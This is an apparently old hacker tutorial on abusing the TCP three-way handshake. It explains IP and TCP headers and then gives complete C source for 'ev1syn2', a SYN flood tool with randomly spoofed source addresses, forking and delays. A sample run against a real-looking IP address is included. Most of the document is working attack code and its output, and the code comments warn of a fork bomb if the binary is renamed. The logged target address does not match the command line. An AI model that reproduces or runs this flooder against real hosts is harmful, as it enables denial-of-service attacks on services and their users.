Abusing Threeway Handsake Writer : ev1lut10n "A Chinese lives in Indonesia" 'it's not just about name, it's not just about money, it's how we can learn to develop this internet and patch every hole' I. Before We Begin - About the 7 Layer The 7 Layer of OSI was developed by the International Organization for Standardization (ISO) as a network. Inside this model the network was splitted into 7 layers, they are : - layer 7 : application layer, example : http,ftp - layer 6 : presentation layer, example : ssl - layer 5 : session layer, example: pptp - layer 4 : transport layer, example : tcp,udp,sctp, dccp - layer 3 : network layer,example : ip , icmp, igmp - layer 2 : data link layer, example: arp, atm - layer 1 : physical layer. Abusing the Weakness of TCP IP Mechanism (IP V 4) Theree way handsake is a method to establish tcp socket connections between two host. Below is a simple explanation about how this mechanism works in normal condition: 1. Bob send a tcp synchronize to Alice with sequence number 10 2. Alice Reply to Bob with synchronize acknowledgment and sequence number 11 3. Bob reply to Alice with acknowledgment 4. Connection established ! One thing to remember is when Alice receive the tcp synchronize from Bob after the first step, Alice will allocate a buffer for that synchronize, After that Alice will try to reply to the ip address that initiate tcp connection by sending synchronize and acknowledgment, unfortunetly if the attacker using spoofed source ip address where it's not exist Alice will never get ack reply meanwhile Alice still allocate her buffer for the first synchronize that she had received before from the attacker so there will be many half open connections on Alice's host, this conditions will bind resources of Alice server and making Alice host can not allocate new buffer for other legitimate traffic because it's backlog is full. Here's a simple picture to show tcp syn flood attack: Making a Simple SYN-FLOODER using C Actually we can attack without spoofing source address as long as we configure our operating system to block SYN-ACK, but that kind of attack is not efficient and easy to get blocked by our target. In this article we' going to perform a SYN-FLOOD using spoofed source address in C. In order to execute such a technic we must modify internet header and tcp header. Here is the schema of an internet header : Internet Header Schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To setup our internet header we will use struct iphdr from /usr/include/netinet/ip.h ================================== struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix <bits/endian.h>" #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; ============================= The minimal ip header size is 20 octet. =================== struct iphdr *iph; iph->ihl = 5; //lenth of ip header (4 bits) iph->version = 4; //we are going to use ip v 4 (4 bits) iph->tos = 0; //service type (1 byte) iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); //total length of ip datagram iph->id = htonl(54321); //identification iph->frag_off = 0;//fragment offset iph->ttl = MAXTTL;//How long our datagram will keep alive ? iph->protocol = 6; // upper layer protocol, TCP iph->check = 0; //checksum iph->saddr = inet_addr("212.212.212.212"); //sample modified source address ========================= After we prepare our ip header we must prepare our tcp header TCP Header Schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ We will use tcp header structure from /usr/include/netinet/tcp.h (RFC 793, September, 1981) : ================= struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; # if __BYTE_ORDER == __LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; # elif __BYTE_ORDER == __BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; # else # error "Adjust your <bits/endian.h> defines" # endif u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; =================== Here's sample of our tcp header: ==================== tcph->source = htons(1337);//our source port tcph->seq = random(); //sequence num is the first queque num from the first data at the first octet of tcp segment tcph->ack_seq = 0; //ack sequence tcph->res2 = 0; //reserved tcph->doff = 0x5; // data indication at tcp segment tcph->syn = 1; //if syn we set true // or tcph->flag tcph->window = htonl(65535); //our window size to negotiate how much data tcph->check = 0;//checksum to check integrity of tcp segment tcph->urg_ptr = 0;//urgent pointer ===================== Here is our sample of syn flood that we create using RAW_SOCK (root privilege needed) ev1syn2.c ============== /**ev1syn2.c - A SYN Flood with Random Spoofed Source Address and Random Delay and U may specify how many forks this is a fixed bugs version after v 1. compiled filename of this tool must be : ev1syn if u rename it u're goin to get a fork bomb, trust me i dont lie made by : ev1lut10n (A Chinese MaN lives in Indonesia) this tool need root privilege because it needs to create raw socket. how to compile ??? cc -o ev1syn2 ev1syn2.c usage : %s <hostname> <target_port_number> <source_port> <range_delay> <enable fork or no ? if enable fork, type number of fork here,by default no forking enabled> thanks to all devilzc0de crews and members some part of this source code was modified from http://www.tenouk.com/Module43b.html **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/types.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> int cek_privilege() { unsigned int uid,euid; uid=getuid(); euid=geteuid(); //jika uid dan euid bukan 0 , sploit berhenti di sini if(uid!=0 && euid!=0) { printf("[-] To run this, you need to be root !!\n"); exit(-1); } return 0; } void banner(char arg[]) { fprintf(stdout,"Simple SYN Flood v.1 by ev1lut10n\n"); fprintf(stdout,"usage : %s <hostname> <target_port_number> <source_port> <range_delay> <fork_numbers>\n",arg); } void gime_er_mas() { char esc = 27; printf("%c%s",esc,"[2J"); printf("%c%s",esc,"[1;1H"); printf("\nsorry dude there's an error...\n"); } //pakai checksum untuk integritas data unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } int main(int argc,char *argv[]) { //sebenernya kita ga pake thread tapi pake fork tapi krn dah telanjur pake variabel ini int delay,status,acak,thr34d_numb3r,fork_sekarang; char datagram[4096]; struct hostent *he; struct in_addr a; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (u_int8_t *)iph + (5 * sizeof(u_int32_t)); struct sockaddr_in target_serangan; char spoof_ip[sizeof "255.255.255.255"]; cek_privilege(); if(argc<3) { banner(argv[0]); return -1; } if(argv[4]==NULL) { delay=1; } else { delay=atoi(argv[4]); } //cek apakah pake forking if(argv[5]!=NULL) { thr34d_numb3r=atoi(argv[5]); if(thr34d_numb3r>10) { fprintf(stdout,"\nWe're very sorry dude max fork number ya may set is 10 !!!\n"); return -1; } } else { thr34d_numb3r=1; } fprintf(stdout,"[+] Delay Range Set to %d second(s) and fork number set to %d fork[s]\n",delay,thr34d_numb3r); for(fork_sekarang=-1;fork_sekarang<=thr34d_numb3r;fork_sekarang++) { FILE *ps = popen("/bin/ps aux | grep ev1syn2", "r"); if (ps) { char buf[1024]; int jum = 0; while(fgets(buf, sizeof(buf), ps)) { jum++; } if(jum<=thr34d_numb3r) { fork(); } fclose(ps); } fprintf(stdout,"\n[+] New PID Set\n"); } fprintf(stdout,"[+] Creating raw socket to attack %s on port %s\n",argv[1],argv[2]); int soket=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); //kita siapkan sock raw unsigned int port_target = atoi(argv[2]); //argumen kedua dikonvert dari ascii ke integer unsigned int port_kita = atoi(argv[3]); //argumen ke 3 juga sama spt di atas target_serangan.sin_family = AF_INET; //sin family kita pakai af inet target_serangan.sin_port = htons(port_target); //host to network short int benar = inet_pton(AF_INET, argv[1], &(target_serangan.sin_addr)); if(benar) { target_serangan.sin_addr.s_addr = inet_addr(argv[1]); } else { he = gethostbyname (argv[1]); if (he) { bcopy(*he->h_addr_list, (char *) &a, sizeof(a)); target_serangan.sin_addr.s_addr = inet_addr(inet_ntoa(a)); } } memset(datagram, 0, 4096); //kita persiapkan ip header iph->ihl = 5; //panjang ip header (4 bits) iph->version = 4; //menggunakan ip versi 4 (4 bits) iph->tos = 0; //jenis servis (1 byte) iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = 255; iph->protocol = 6; // upper layer protocol, TCP iph->check = 0; //checksum untuk proteksi korupsi data fprintf(stdout,"[+] IP header set\n"); sleep(1) ; //setelah itu baru kita persiapkan tcp header tcph->source = htons(port_kita); tcph->seq = random(); //nomor sequence tcph->ack_seq = 0; //ack sequence tcph->res2 = 0; //reserved kita set 0 tcph->doff = 0x5; // indikasi data dalam tcp segmen //tcph->flag tcph->syn = 1; //jika syn kita set flag syn =1 tcph->window = htonl(65535); //ukuran window indikasi berapa banyak data tcph->check = 0;//ceksum untuk mengecek integritas segmen tcp tcph->urg_ptr = 0;//pointer menunjukkan lokasi data yg dianggap urgen //eof prepare tcp header fprintf(stdout,"[+] TCP header set\n"); sleep(1) ; //di sini kita lakukan sedikit injeksi pada datagram tcph->dest = htons(port_target); iph->daddr = target_serangan.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); fprintf(stdout,"[+] Injected ip datagram\n"); sleep(1) ; int tmp = 1; const int *val = &tmp; /**IP_HDRINCL kita set biar kita bisa kirim ke dest addr , klo ga diset dg setsockopt tdk akan bisa **/ if(setsockopt(soket, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ gime_er_mas(); return -1; } fprintf(stdout,"[+] Socket option set\n"); sleep(1) ; while(1) { snprintf(spoof_ip,16,"%lu.%lu.%lu.%lu",random() % 255,random() % 255,random() % 255,random() % 255); iph->saddr = inet_addr(spoof_ip); if(sendto(soket,datagram,iph->tot_len,0,(struct sockaddr *) &target_serangan, sizeof(target_serangan)) ) { printf("[+] SYN sent to [%s:%d] using spoofed ip: [%s:%d]\n", argv[1] , port_target,spoof_ip,port_kita); } acak = random ()% delay ; sleep(acak) ; } return 0; } Ok here's sample usage for syn flooding using spoofed source address: ============== root@ev1l:/home/ev1lut10n/c# ./ev1syn Simple SYN Flood v.1 by ev1lut10n usage : ./ev1syn <hostname> <target_port_number> <source_port> <range_delay> <fork_numbers> root@ev1l:/home/ev1lut10n/c# ./ev1syn 81.0.217.77 80 80 2 2 [+] Delay Range Set to 2 second(s) and fork number set to 2 fork[s] [+] New PID Set [+] New PID Set [+] New PID Set [+] New PID Set [+] Creating raw socket to attack 81.0.217.77 on port 80 [+] IP header set [+] TCP header set [+] Injected ip datagram [+] Socket option set [+] SYN sent to [77.78.103.36:80] using spoofed ip: [83.85.162.151:80] [+] SYN sent to [77.78.103.36:80] using spoofed ip: [121.249.252.241:80] [+] SYN sent to [77.78.103.36:80] using spoofed ip: [233.19.20.82 :80] [+] SYN sent to [77.78.103.36:80] using spoofed ip: [31.142.81.45 :80] ........dst ============== Here's the traffic capture using wireshark :